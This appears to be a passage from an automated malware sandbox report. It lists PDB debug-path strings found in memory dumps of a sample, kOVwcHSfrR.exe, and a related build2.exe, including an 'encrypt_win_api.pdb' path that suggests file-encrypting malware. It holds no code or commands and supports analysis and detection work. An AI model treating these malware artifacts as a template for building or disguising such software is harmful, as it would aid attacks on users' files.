0000000C.00000003.1826858814.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723919107.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1759874904.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\w\k\ source: kOVwcHSfrR.exe, 0000000C.00000003.1850698420.0000000009DE9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: kOVwcHSfrR.exe, 0000000C.00000003.1850698420.0000000009ECF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\nufilebe giximebemutido\zeroh\yuluz\tavoy_socalefino.pdbd@B source: build2.exe, 00000012.00000000.1460598726.0000000000420000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000012.00000002.1682755279.0000000000420000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000015.00000000.1677228255.0000000000420000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\on\*; source: kOVwcHSfrR.exe, 0000000C.00000003.1850698420.0000000009DE9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\ata\: source: kOVwcHSfrR.exe, 0000000C.00000003.1841718968.0000000009D14000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1843040876.0000000009D65000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1850960458.0000000009CFD000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1851746298.0000000009D65000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1851676961.0000000009D3D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: kOVwcHSfrR.exe, 0000000C.00000003.1799349513.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1800332248.0000000003014000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1800837324.0000000003015000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\l source: kOVwcHSfrR.exe, 0000000C.00000003.1798526242.0000000009D74000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1824213160.0000000009D74000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1827323821.0000000009D75000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\/ source: kOVwcHSfrR.exe, 0000000C.00000003.1841718968.0000000009D14000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1843040876.0000000009D65000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1850960458.0000000009CFD000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1851746298.0000000009D65000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1851676961.0000000009D3D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\w source: kOVwcHSfrR.exe, 0000000C.00000003.1773563251.0000000009A09000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1759179671.00000000099EF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1771271511.0000000009A02000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1770508079.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1760775191.0000000009A0A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ewy\ source: kOVwcHSfrR.exe, 0000000C.00000003.1801398007.0000000009C99000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\*) source: kOVwcHSfrR.exe, 0000000C.00000003.1665552311.0000000009957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\f@ source: kOVwcHSfrR.exe, 0000000C.00000003.1798526242.0000000009D74000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1824213160.0000000009D74000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1827323821.0000000009D75000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\yeteruno-63\vuwuhativec.pdb source: kOVwcHSfrR.exe, kOVwcHSfrR.exe.7.dr
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\*e\ source: kOVwcHSfrR.exe, 0000000C.00000003.1841718968.0000000009D14000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1843040876.0000000009D65000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error.cdqww_Ya source: kOVwcHSfrR.exe, 0000000C.00000003.1665243351.00000000099ED000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: kOVwcHSfrR.exe, 0000000C.00000003.1723625866.0000000009A60000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723343799.00000000099F3000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721294177.00000000099EF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665243351.00000000099ED000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721018659.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723498511.0000000009A50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\\\| source: kOVwcHSfrR.exe, 0000000C.00000003.1721247742.0000000009979000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1760857005.000000000998E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1759245306.0000000009979000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \user\Local Settings\Temp\Symbols\winload_prod.pdb\es\> source: kOVwcHSfrR.exe, 0000000C.00000003.1774142700.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799349513.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1722317833.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665460429.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723919107.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1759874904.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: kOVwcHSfrR.exe, 0000000C.00000003.1850698420.0000000009ECF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1850960458.0000000009CFD000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1851926999.0000000009D1D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.cdqw\ source: kOVwcHSfrR.exe, 0000000C.00000003.1665243351.00000000099ED000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: kOVwcHSfrR.exe, 0000000C.00000003.1844759544.0000000009DE9000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1850698420.0000000009DE9000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1842260747.0000000009DC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\b source: kOVwcHSfrR.exe, 0000000C.00000003.1760199831.0000000009C91000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: kOVwcHSfrR.exe, 0000000C.00000003.1760199831.0000000009CC4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1771351167.0000000009CC4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1771698374.0000000009CC5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1773281791.0000000009CCC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\MA source: kOVwcHSfrR.exe, 0000000C.00000003.1862853877.0000000009DE0000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1861333525.0000000009DE0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\-j source: kOVwcHSfrR.exe, 0000000C.00000003.1726155415.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\. source: kOVwcHSfrR.exe, 0000000C.00000003.1801055299.0000000009D35000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1800488892.0000000009D1D000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1771698374.0000000009D1C000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1798526242.0000000009CC4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1800424868.0000000009CFD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: kOVwcHSfrR.exe, 0000000C.00000003.1664922836.000000000999F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\ source: kOVwcHSfrR.exe, 0000000C.00000003.1770984751.0000000009A37000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1771970280.0000000009A46000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1770508079.0000000009A32000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\es\ source: kOVwcHSfrR.exe, 0000000C.00000003.1841718968.0000000009D14000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1843040876.0000000009D65000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1833113829.0000000009D5D000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1831522677.0000000009D44000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error02065300.txt\TUc8 source: kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: kOVwcHSfrR.exe, 0000000C.00000003.1760199831.0000000009C91000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\p\y\H source: kOVwcHSfrR.exe, 0000000C.00000003.1723343799.00000000099F3000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721294177.00000000099EF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665243351.00000000099ED000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721018659.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723498511.0000000009A50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: kOVwcHSfrR.exe, 0000000C.00000003.1758898029.0000000009A50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.cdqw source: kOVwcHSfrR.exe, 0000000C.00000003.1665243351.00000000099ED000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\Qef source: kOVwcHSfrR.exe, 0000000C.00000003.1771970280.0000000009A5F000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1758898029.0000000009A50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb\LogFile_October_5_2023__12_20_57.txt\r source: kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\es\) source: kOVwcHSfrR.exe, 0000000C.00000003.1833233318.0000000009D0D000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1825272663.0000000009D14000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1837070317.0000000009D14000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\2.exe: source: kOVwcHSfrR.exe, 0000000C.00000003.1826144879.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862456362.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1865534180.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799378148.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1834665933.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1863871858.0000000000905000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\p\y\5 source: kOVwcHSfrR.exe, 0000000C.00000003.1723343799.00000000099F3000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721294177.00000000099EF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665243351.00000000099ED000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721018659.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723498511.0000000009A50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\\ source: kOVwcHSfrR.exe, 0000000C.00000003.1758898029.0000000009A50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\6dO source: kOVwcHSfrR.exe, 0000000C.00000003.1758898029.0000000009A50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\} source: kOVwcHSfrR.exe, 0000000C.00000003.1773527339.00000000099AA000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1770508079.00000000099A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: kOVwcHSfrR.exe, 0000000C.00000003.1800761061.0000000009A32000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\\p source: kOVwcHSfrR.exe, 0000000C.00000003.1850960458.0000000009CFD000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1851926999.0000000009D1D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\t3 source: kOVwcHSfrR.exe, 0000000C.00000003.1800807752.0000000009B14000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1826443786.0000000009B06000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1825048511.0000000009AF3000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1826975561.0000000009B11000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799944229.0000000009B14000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1800598804.0000000009B14000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1827813449.0000000009B17000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ow\ source: kOVwcHSfrR.exe, 0000000C.00000003.1864162198.0000000002FBF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1863376655.0000000002FBF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1861028335.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1844185052.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862919369.0000000002FBF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1759874904.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1837631251.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1726155415.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1866167771.0000000002FBF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1800132832.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: kOVwcHSfrR.exe, 0000000C.00000003.1759874904.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1726155415.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\s source: kOVwcHSfrR.exe, 0000000C.00000003.1723343799.00000000099F3000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721294177.00000000099EF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665243351.00000000099ED000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721018659.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723498511.0000000009A50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: <C:\yeteruno-63\vuwuhativec.pdb source: kOVwcHSfrR.exe, kOVwcHSfrR.exe.7.dr
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: kOVwcHSfrR.exe, kOVwcHSfrR.exe, 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1864846210.0000000000400000.00000040.00000400.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000D.00000002.2496998332.0000000000400000.00000040.00000400.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000E.00000002.1443847796.0000000002670000.00000040.00001000.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000011.00000002.1461036897.0000000000400000.00000040.00000400.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000013.00000002.1517241743.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000014.00000002.1531079174.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\w\ source: kOVwcHSfrR.exe, 0000000C.00000003.1844759544.0000000009DE9000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1842260747.0000000009DC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\I3$ source: kOVwcHSfrR.exe, 0000000C.00000003.1771351167.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1800424868.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1773993849.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1798526242.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1801055299.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\kies\ source: kOVwcHSfrR.exe, 0000000C.00000003.1823795183.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1824814843.0000000009A48000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799658382.0000000009A50000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1800546635.0000000009A53000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \user\Local Settings\Temp\Symbols\winload_prod.pdb\*s\P source: kOVwcHSfrR.exe, 0000000C.00000003.1774142700.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799349513.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1722317833.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665460429.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723919107.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1759874904.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\ source: kOVwcHSfrR.exe, 0000000C.00000003.1833113829.0000000009D5D000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1831522677.0000000009D44000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1824213160.0000000009D35000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb53939698.txt\t_}2 source: kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp
